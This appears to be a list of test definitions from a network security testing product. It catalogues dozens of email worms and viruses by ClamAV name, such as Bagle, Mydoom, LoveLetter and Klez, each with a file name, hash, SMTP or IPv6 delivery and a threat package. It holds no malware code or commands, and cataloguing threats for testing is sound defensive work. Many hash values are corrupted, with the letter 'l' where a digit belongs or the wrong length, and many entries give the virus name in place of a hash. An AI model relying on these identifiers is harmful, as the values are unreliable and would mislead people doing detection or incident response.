Threat File Name:	Email-Worm.Win32.Apobst.h.h.9be8a527.xml
Executive Description:	Email Virus Email-Worm.Win32.Apobst.h.h
Detailed Description:	This is the email virus Email-Worm.Win32.Apobst.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Apobst.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.45c947ac_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 45c947ac18a925fb45c27139b30d761e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.IWorm.Fix2001.d2a5f4b7.xml

Executive Description:	Email Virus Trojan.IWorm.Fix2001
Detailed Description:	This is the email virus Trojan.IWorm.Fix2001 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2a5f4b769de0f89d591fd0505b6e584. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.35af9e51.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 35af9e5184a02b0e39f8ee55d5ea0346. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.60e9a086_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 60e9a0865d596d7da6a2e3f1362431b4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.PonyExpress.fel5c8b0.xml
Executive Description:	Email Virus Worm.PonyExpress
Detailed Description:	This is the email virus Worm.PonyExpress as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fel5c8b04adda5372e2fb52b7593fc87. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lohack.a.6f6de9e7_IPv6.xml
Executive Description:	Email Virus Worm.Lohack.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lohack.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6f6de9e706c222e65202af17512f45da. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.52b01701_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 52b01701d0719062614906f5b030773f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hopalon.b.b.836e1cd6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hopalon.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Hopalon.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hopalon.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Rowam.A.112c4f5c.xml
Executive Description:	Email Virus Worm.VBS.Rowam.A
Detailed Description:	This is the email virus Worm.VBS.Rowam.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 112c4f5cac1e14787763670b6e426f59. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fintas.a.a503f729_IPv6.xml
Executive Description:	Email Virus Worm.Fintas.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fintas.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a503f72989f440db5d9d274f048a3d6c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcobul.b.7336765d.xml
Executive Description:	Email Virus Worm.Alcobul.b
Detailed Description:	This is the email virus Worm.Alcobul.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7336765dbbd99cd7832b33ee406e997c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Dumaru.e.e.7c5b9ad2.xml
Executive Description:	Email Virus Email-Worm.Win32.Dumaru.e.e
Detailed Description:	This is the email virus Email-Worm.Win32.Dumaru.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Dumaru.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	VBS.SSIWG.36f80256.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36f802563dab6aea43a4497b902ac942. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BWG.A.e70e9df8_IPv6.xml
Executive Description:	Email Virus Worm.BWG.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.BWG.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e70e9df8117b9aab9b88e440c2e45d17. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.generic.90ea68c2.xml
Executive Description:	Email Virus Worm.generic
Detailed Description:	This is the email virus Worm.generic as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 90ea68c2e28c3e977fe504602c7e53b6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mimail.Q.b9ebe489_IPv6.xml
Executive Description:	Email Virus Worm.Mimail.Q (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mimail.Q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b9ebe489f5460408c4911ff84c678a68. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Moffas.87beb3e0_IPv6.xml
Executive Description:	Email Virus Worm.Moffas (IPv6 Version)
Detailed Description:	This is the email virus Worm.Moffas as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 87beb3e03218cbd62fae036dall29bbf. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Zheng.zhe.f86d6485_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Zheng.zhe (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Zheng.zhe as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Zheng.zhe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.d17c5406_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d17c5406aelb8f24cf728b3f6ad3c4e3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Platnico.2348cd41.xml
Executive Description:	Email Virus VBS.Platnico
Detailed Description:	This is the email virus VBS.Platnico as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2348cd418c0e6a9205cda6d8e8acc86e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.M.65eb44f6_IPv6.xml
Executive Description:	Worm.Mydoom.M (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mydoom.M as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 65eb44f6c07a3336e529c7560041b013. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Anel.ane.bfdb80c8.xml
Executive Description:	Email Virus Email-Worm.Win32.Anel.ane
Detailed Description:	This is the email virus Email-Worm.Win32.Anel.ane as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Anel.ane. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Petik.1.175dbf33.xml
Executive Description:	Email Virus Worm.Petik.1
Detailed Description:	This is the email virus Worm.Petik.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 175dbf33282ed471b62d616be435a03f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Bajar.B.36d2683e.xml
Executive Description:	Email Virus Worm.Bajar.B
Detailed Description:	This is the email virus Worm.Bajar.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36d2683e3a2bed2cdd3a20bfff0efbe7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LastWord.68929e28_IPv6.xml
Executive Description:	Email Virus Worm.LastWord (IPv6 Version)
Detailed Description:	This is the email virus Worm.LastWord as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68929e285d1a7fbd0ea9554a06af1b4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Moffas.87beb3e0.xml
Executive Description:	Email Virus Worm.Moffas
Detailed Description:	This is the email virus Worm.Moffas as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 87beb3e03218cbd62fae036dall29bbf. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Alcaul.ak.ak.be817e4a.xml
Executive Description:	Email Virus Email-Worm.Win32.Alcaul.ak.ak
Detailed Description:	This is the email virus Email-Worm.Win32.Alcaul.ak.ak as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Alcaul.ak.ak. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	BDC.Griffin.Cli.f262e5a1_IPv6.xml
Executive Description:	Email Virus BDC.Griffin.Cli (IPv6 Version)
Detailed Description:	This is the email virus BDC.Griffin.Cli as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f262e5alca270bc917534aac4fa97fe2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Shuq.D.d18f3431_IPv6.xml
Executive Description:	Email Virus Worm.Shuq.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Shuq.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d18f343132bc99782450a3afb070d195. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Wideman.8135.a.a.d4370120.xml
Executive Description:	Email Virus Email-Worm.Win32.Wideman.8135.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Wideman.8135.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Wideman.8135.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.k.k.50cff8c9_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.k.k (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.k.k. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Rowam.C.7d811834.xml
Executive Description:	Email Virus Worm.VBS.Rowam.C
Detailed Description:	This is the email virus Worm.VBS.Rowam.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7d811834cb39bb6c9f5b5aab7e482c33. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Maldal.c.6494cc24.xml
Executive Description:	Email Virus Worm.Maldal.c
Detailed Description:	This is the email virus Worm.Maldal.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6494cc242ba8c240eded731dee655e4a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.N.f56cef0f.xml
Executive Description:	Email Virus Worm.Lovgate.N
Detailed Description:	This is the email virus Worm.Lovgate.N as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f56cef0f4ec6418df06ef9f454d9ea73. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	VBS.SWMF.A.42ac9c0a.xml
Executive Description:	Email Virus VBS.SWMF.A
Detailed Description:	This is the email virus VBS.SWMF.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 42ac9c0abld209d6edf9ba1010cdf945. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Wozer.E.fc5b2213_IPv6.xml
Executive Description:	Email Virus Worm.Wozer.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Wozer.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fc5b22139c102145cb48a1035766c980. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Qoma.c.c.597a6bfd.xml
Executive Description:	Email Virus Email-Worm.VBS.Qoma.c.c
Detailed Description:	This is the email virus Email-Worm.VBS.Qoma.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Qoma.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mylife.C.c755c0d4_IPv6.xml
Executive Description:	Email Virus Worm.Mylife.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mylife.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c755c0d4915686e098bc9c193831f334. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.41aa7997_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 41aa799726d2ef98834c70e1049b94f7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Povgon.b.b.7ca80937.xml
Executive Description:	Email Virus Email-Worm.Win32.Povgon.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Povgon.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Povgon.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.24c49b83.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 24c49b83178f8aafef5f7ba6aff2ea970. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.36f80256_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36f802563dab6aea43a4497b902ac942. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Paroc.A.d4f43810.xml
Executive Description:	Email Virus Worm.Paroc.A
Detailed Description:	This is the email virus Worm.Paroc.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4f43810da698cc6104d843e56593abd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.c.c.b0db94c1.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.e7602fbf_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e7602fbf6b9f4f230722c044bf2528b5. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zoek.a.a.346c2d02_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Zoek.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Zoek.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zoek.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.af1b0251_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: af1b0251a1ddb0cfffbd6364bce9a8ae. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Rays.A.01aefd7c_IPv6.xml
Executive Description:	Email Virus Worm.Rays.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Rays.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 01aefd7cd0168b1589c4e567d9cfeb36. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Entice.B.0874bd1e_IPv6.xml
Executive Description:	Email Virus VBS.Entice.B (IPv6 Version)
Detailed Description:	This is the email virus VBS.Entice.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0874bd1e0a3ddb412aced13ad9d72838. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.0990bc18.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0990bc184ab7dalcfcf2dd7636180f2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Bior.A.flaceb88.xml
Executive Description:	Email Virus VBS.Bior.A
Detailed Description:	This is the email virus VBS.Bior.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: flaceb880f05d75cf9904e562b80567a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Saros.A.e7f16ccd.xml
Executive Description:	Email Virus Worm.Saros.A
Detailed Description:	This is the email virus Worm.Saros.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e7f16ccd5113cb589dc385e79790823b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mydoom.M.d8d9ebce.xml
Executive Description:	Email Virus Worm.Mydoom.M
Detailed Description:	This is the email virus Worm.Mydoom.M as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d8d9ebce2ff9f94ee0855c0d3e756049. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Moncher.B.f7ef5aef.xml
Executive Description:	Email Virus Worm.Moncher.B
Detailed Description:	This is the email virus Worm.Moncher.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7ef5aef4dc14e616ba2deb2c92d7e98. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Yozis.B.4716d37a_IPv6.xml
Executive Description:	Email Virus VBS.Yozis.B (IPv6 Version)
Detailed Description:	This is the email virus VBS.Yozis.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4716d37a148c503c20213828bccc5028. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.H.blaac76f_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.H (IPv6 Version)

Detailed Description:	This is the email virus Worm.Bagle.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: blaac76f0cf7ff43620f7b0a844cfbaf. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.ZippedFiles.c.c.055fcccc_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.ZippedFiles.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.ZippedFiles.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.ZippedFiles.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lorena.b.e437aa72.xml
Executive Description:	Email Virus Worm.Lorena.b
Detailed Description:	This is the email virus Worm.Lorena.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e437aa72d627110b5ea7alc29e1deaf7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	BAT.BWG.J.236d0906.xml
Executive Description:	Email Virus BAT.BWG.J
Detailed Description:	This is the email virus BAT.BWG.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 236d09062b36b2ee2ac6fe3edfcd42da. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.I.c5fe22de_IPv6.xml
Executive Description:	Email Virus VBS.PicaWorm.I (IPv6 Version)
Detailed Description:	This is the email virus VBS.PicaWorm.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c5fe22de68bf20cf256390b52b595612. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Abotus.abo.fe02a495_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Abotus.abo (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Abotus.abo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Abotus.abo. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.VBS.Frekru.A.6ea5131e.xml
Executive Description:	Email Virus Trojan.VBS.Frekru.A
Detailed Description:	This is the email virus Trojan.VBS.Frekru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6ea5131e2e9f71d92b0362817bf93781. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.i.i.ca2d8546.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.i.i
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.i.i. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Unicle.B.58948742.xml
Executive Description:	Email Virus Worm.Unicle.B
Detailed Description:	This is the email virus Worm.Unicle.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 58948742a7038aa3025704f3563cd21b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BleBla.A.3c75b73b_IPv6.xml
Executive Description:	Email Virus Worm.BleBla.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.BleBla.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3c75b73b123648b1768d0436d8efd13b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Batwin.5cfaa0bf.xml
Executive Description:	Email Virus Worm.Batwin
Detailed Description:	This is the email virus Worm.Batwin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5cfaa0bfe9c643550eee6ael05ed813e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Siney.B.39c69154.xml

Executive Description:	Email Virus Worm.Siney.B
Detailed Description:	This is the email virus Worm.Siney.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 39c6915439c84849f3439bbf70cdade4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.626cfb5b.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 626cfb5bab849e6e714cf03398a8e5e5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	IRC.Anjuliej.A.72c1168a_IPv6.xml
Executive Description:	Email Virus IRC.Anjuliej.A (IPv6 Version)
Detailed Description:	This is the email virus IRC.Anjuliej.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 72c1168a3c26f638e584d018faaf0696. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Cuerto.53f9d81f_IPv6.xml
Executive Description:	Email Virus Worm.Cuerto (IPv6 Version)
Detailed Description:	This is the email virus Worm.Cuerto as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 53f9d81f3fc621bfc336a5549ebe7398. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SST-A.3.03842f6c.xml
Executive Description:	Email Virus VBS.SST-A.3
Detailed Description:	This is the email virus VBS.SST-A.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 03842f6c7eba04b06bcf54a9bc54ec9c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Ganda-A.c1e17ccf.xml
Executive Description:	Email Virus Worm.Ganda-A
Detailed Description:	This is the email virus Worm.Ganda-A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c1e17ccf687fa70efc96ef8ab3e97a95. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Satan.7076ae22_IPv6.xml
Executive Description:	Email Virus Worm.Satan (IPv6 Version)
Detailed Description:	This is the email virus Worm.Satan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7076ae2218010470f4b69ac5b4bc0dec. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sucon.b.756f4c0e_IPv6.xml
Executive Description:	Email Virus Worm.Sucon.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sucon.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 756f4c0eae76977a30e94989901f8aa7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Godog.b273839d_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b273839dbelee3bb4f6c3f0cb9b740bd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Maniz.4bacflda_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Maniz (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Maniz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4bacfldab59b13ef99929388b8065fc9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.O.9d7006e3_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.O (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.O as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9d7006e30fdf15e9c8e03e62534b3a3e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Lentin.I.d6e098e6_IPv6.xml
